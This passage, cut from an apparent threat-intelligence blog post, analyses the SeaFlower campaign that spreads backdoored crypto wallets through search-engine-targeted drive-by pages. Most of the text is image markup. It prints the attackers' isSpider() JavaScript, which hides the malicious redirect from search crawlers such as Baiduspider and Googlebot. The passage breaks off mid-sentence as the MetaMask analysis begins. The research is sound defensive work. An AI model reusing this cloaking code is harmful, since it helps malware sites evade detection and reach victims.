https://substackcdn.com/image/fetch/$s_!_2YG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_2YG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png" width="750" height="507" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:507,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_2YG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 424w, https://substackcdn.com/image/fetch/$s_!_2YG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 848w, https://substackcdn.com/image/fetch/$s_!_2YG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 1272w, https://substackcdn.com/image/fetch/$s_!_2YG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F74810d85-0abb-48bc-b26e-a41ffca5de1c_750x507.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">SeaFlower targeting via search engine results</figcaption></figure></div><p>While monitoring for results we started noticing that there was an intermediate website, that does a fingerprinting before redirecting to the SeaFlower drive-by download pages. We extracted the client-side fingerprinting from the HTML pages and we identified a code that checks if the referer matches different search engines, in fact, multiple Chinese search engines :</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Q_pu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Q_pu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 424w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 848w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 1272w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Q_pu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png" width="1000" height="171" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:171,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Q_pu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 424w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 848w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 1272w, https://substackcdn.com/image/fetch/$s_!Q_pu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aec98b6-dd90-4695-a29d-a1e5de99bf1d_1000x171.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">SeaFlower intermediate Fingerprinting</figcaption></figure></div><p>Most of the search engines mentioned are all Chinese search engines:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!r7ew!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!r7ew!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 424w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 848w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 1272w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!r7ew!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png" width="1000" height="379" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:379,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!r7ew!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 424w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 848w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 1272w, https://substackcdn.com/image/fetch/$s_!r7ew!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc381beef-f642-4f5b-983c-f4c301fce4b9_1000x379.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wGHZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wGHZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 424w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 848w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 1272w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wGHZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png" width="750" height="326" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/988cc656-eef2-495c-b4c2-b41db942de01_750x326.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:326,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wGHZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 424w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 848w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 1272w, https://substackcdn.com/image/fetch/$s_!wGHZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F988cc656-eef2-495c-b4c2-b41db942de01_750x326.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Chinese search engines targeted by SeaFlower</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Kf7M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Kf7M!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 424w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 848w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 1272w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Kf7M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png" width="1000" height="489" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:489,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Kf7M!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 424w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 848w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 1272w, https://substackcdn.com/image/fetch/$s_!Kf7M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81de9020-7de8-44c9-96f0-b93e15d701cf_1000x489.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BT3e!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BT3e!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 424w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 848w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 1272w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BT3e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png" width="750" height="375" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:375,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BT3e!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 424w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 848w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 1272w, https://substackcdn.com/image/fetch/$s_!BT3e!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22fe4419-7090-4447-99f2-ee9d0b5b5eab_750x375.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We created a specific detection rule to hunt for any of the above js code, and we found another piece of code that has bot/spider detections, by checking the userAgent strings, we can see again references to Chinese search engines crawlers/spiders:</p><pre><code>function isSpider() {  
    var flag = false;  
    var spider = navigator.userAgent.toLowerCase();  
    var spiderSite = [&#8217;baiduspider&#8217;, &#8216;baidu.&#8217;, &#8216;360Spider&#8217;, &#8216;sogou.&#8217;, &#8216;soso.&#8217;, &#8216;yisouspider&#8217;, &#8216;bingbot&#8217;, &#8216;bing.&#8217;, &#8216;google.&#8217;, &#8216;googlebot&#8217;];  
    for (let i = 0, len = spiderSite.length; i &lt; len; i++) {  
        if (spider.indexOf(spiderSite[i]) &gt; 0) {  
            flag = true;  
            break;  
        }  
    }  
    if (!flag) {  
        goPAGE();  
    }  
}</code></pre><p>This particular campaign tells us more about the initial vector and the targeting that seems to be search engine oriented, with the majority being Chinese search engines.</p><p>At this point, we defined some initial context and learned a bit more about who could be potentially targeted by SeaFlower.</p><p>Next, is the backdoored wallets technical analysis part, we will shed some light on how SeaFlower is backdooring the web3 wallets. For readability, we will document in this blogpost how<strong> iOS MetaMask wallet</strong> and <strong>Android Coinbase walle</strong>t were backdoored in great detail. The other flavors of these wallets (iOS, Android) and the other wallets (imToken, TokenPocket) are using very similar backdoor code and won&#8217;t be all covered in this blogpost but will be briefly documented especially the most relevant parts.</p><h3>MetaMask wallet</h3><h4>MetaMask iOS app</h4><blockquote><p>SHA-256 .IPA file analyzed: 9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8</p></blockquote><p>MetaMask for mobile is a 